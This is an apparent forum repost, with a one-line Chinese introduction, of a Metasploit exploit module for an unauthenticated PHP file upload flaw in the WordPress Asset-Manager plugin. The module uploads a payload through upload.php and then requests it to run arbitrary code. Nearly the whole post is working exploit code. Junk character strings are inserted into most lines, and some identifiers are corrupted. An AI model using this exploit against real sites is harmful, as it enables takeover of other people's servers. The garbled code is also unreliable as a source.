这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
$ }3 T3 u6 @' D, P
P. ]5 c, d6 X% _##
& O2 r( J# J1 y. n7 J# This file is part of the Metasploit Framework and may be subject to
- a6 r# t. \9 L! ?7 c, }' T# redistribution and commercial restrictions. Please see the Metasploit" e8 O- c. v% Y2 r( A' s
# Framework web site for more information on licensing and terms of use.
" c6 l3 Y, c: P( y8 y. @7 k/ {+ n# http://metasploit.com/framework/8 F( b* l7 A- k* ~+ k8 P
##0 o* T( b+ }$ z2 f: g- u
6 G- Z5 h* V# O/ x/ z6 a
require 'msf/core'
- a7 l4 }6 X( [1 [4 arequire 'msf/core/exploit/php_exe'
$ }4 n: ~8 @* V- E + P7 g2 M. ?% F# O" `1 w3 c
class Metasploit3 < Msf::Exploit::Remote
' H# e0 K. S0 z% n# N% \ Rank = ExcellentRanking* ~5 r5 f% k) t# E
' h/ `( x }' Y6 a+ A, [
include Msf::Exploit::Remote::HttpClient6 _: o; I' g( _0 u1 ?+ j
include Msf::Exploit: hpEXE) E4 X6 V& o( X1 z2 A1 T* c
- J& P9 D& t: ^
def initialize(info = {})5 B3 R. C1 f( M% c* Q! M
super(update_info(info,- ~6 m3 J4 |$ Z
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
I, |, ?+ e0 \) y 'Description' => %q{2 w( b/ ^4 n5 m( {; Q
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress; e3 @/ C) D# r, G5 d
plugin. By abusing the upload.php file, a malicious user can upload a file to a- R1 f' r+ C$ w: j6 d
temp directory without authentication, which results in arbitrary code execution.
/ A3 _0 F4 C/ ^% k9 | },
! o* o+ f1 ^! M3 t 'Author' =>& K$ j! L+ h+ \0 L
[" e: I. n/ u4 I4 p
'Sammy FORGIT', # initial discovery
$ E1 B$ j3 n+ R2 z 'James Fitts <fitts.james[at]gmail.com>' # metasploit module- t: v% ?4 t: X3 G# R" ?
],
" |5 t8 c- J& V 'License' => MSF_LICENSE,) }2 \+ t+ Q. @7 M9 z- ]
'References' =>6 K+ k9 k, ]3 O" ? J
[( _) q! k- X7 p, V1 p5 Y$ x$ m( P
[ 'OSVDB', '82653' ],# ]# ^5 B# |! H* a# P7 B
[ 'BID', '53809' ],
; }: ?) h. v8 N. \+ R [ 'EDB', '18993' ],
3 R8 F* D4 [" H) l* v$ v# ^, e' \ [ 'URL', 'http:// www.myhack58.com /' ]# ^0 ]( S c! N4 y& i, |
],3 l, m0 R$ D+ R
'Payload' =>2 i* E5 p4 R/ [& |, N1 e/ V8 L
{- F' V3 O9 m2 z+ p% N
'BadChars' => "\x00",
* |* U0 `# \: S2 @& r },
; P" {& M5 O; Q" `. c 'Platform' => 'php',
/ y+ d6 ~; F* \: O1 j% E. N7 h 'Arch' => ARCH_PHP,
( K% G* L) C' }; W7 U 'Targets' =>: H. `# y( X% G* m7 n. e
[ `2 N# r* M9 O# z& Z+ b$ c
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],. O( k# ~- X8 S, G2 ^! [0 h
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
) ]% f- q/ {: H M: s9 F ],
5 W! Y% p. s1 z: t 'DefaultTarget' => 0,. Y" Z7 r c9 k, H% f
'DisclosureDate' => 'May 26 2012'))
$ L+ Y, \: I9 p+ T
% m- x% I2 K) }$ ` register_options(
# {5 v @4 r, e9 N% T [
) ~. ?% c1 k( h6 B* a7 }0 q, G/ _. i OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
% y2 R9 \( U- Q ], self.class)+ |; A- a- G7 |1 z0 D2 D
end) e) N6 h0 f9 N: c$ d, X
% |, e' w1 i3 l1 S5 q" x& e; ?
def exploit- \3 N$ N8 ~. Q; j3 Q* P
uri = target_uri.path) N+ _8 t; d& T; d' |/ _. @+ ]" m
uri << '/' if uri[-1,1] != '/'
/ B3 I: g- q( g; X8 k6 S1 Q peer = "#{rhost}:#{rport}"
. s/ C2 h Q- A9 @- _ payload_name = "#{rand_text_alpha(5)}.php"
8 j/ W% u$ ]- n1 w( i& Z php_payload = get_write_exec_payload(:unlink_self=>true)
: _ o9 a" c S- [( J9 b + i* R' ~- `% U* Z: x! I7 H
data = Rex::MIME::Message.new
2 i X, m" x+ } data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
$ G, b4 B. S: F- Y post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
; z* I& B% T# V) P% V2 f
8 v& X2 Q, F. M, N4 | ~" G print_status("#{peer} - Uploading payload #{payload_name}")7 e Z1 T$ P; T8 N
res = send_request_cgi({1 \& D6 j w4 R8 L1 |/ i* O; \
'method' => 'POST',
5 N& ^* t$ N9 P* F 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",+ ]# B g% p% C, R4 u& P" u
'ctype' => "multipart/form-data; boundary=#{data.bound}",# W* O( f+ y1 x1 @ U% R% w; Y
'data' => post_data( }4 U$ q+ z. C3 f$ w; L9 W8 K. e- J6 c
})+ ~; d! Q. u3 U' X6 g
9 o7 \3 ?5 C$ q0 F if not res or res.code != 200 or res.body !~ /#{payload_name}/
) n( G: v- x# M2 Y9 X fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
& x, f- k; c$ xend
: i- }/ d, ?: U# X4 d 3 g& D3 n; {% A4 Z! p: e& }
print_status("#{peer} - Executing payload #{payload_name}")
% |, ~' V% n+ j! N' V+ V) O) t7 T res = send_request_raw({
" B8 z9 M- c7 W/ f 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",; l! o$ m. m5 O; v5 h& _
'method' => 'GET'
+ ?$ P; b0 t& s7 _ })5 o# `% S0 T& w* G- Y% @' @6 V
- `5 u6 m" T5 S$ P/ Z if res and res.code != 200& u7 g. e% t# B( Y+ Z& K: z. P# A
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")" r3 L6 R. [2 H( H
end$ X- o2 E q" T% a+ d q7 M
end
2 w, V5 D2 F3 `3 W5 l; _end
+ t2 s' Y3 e% M. `+ c3 b" w: j |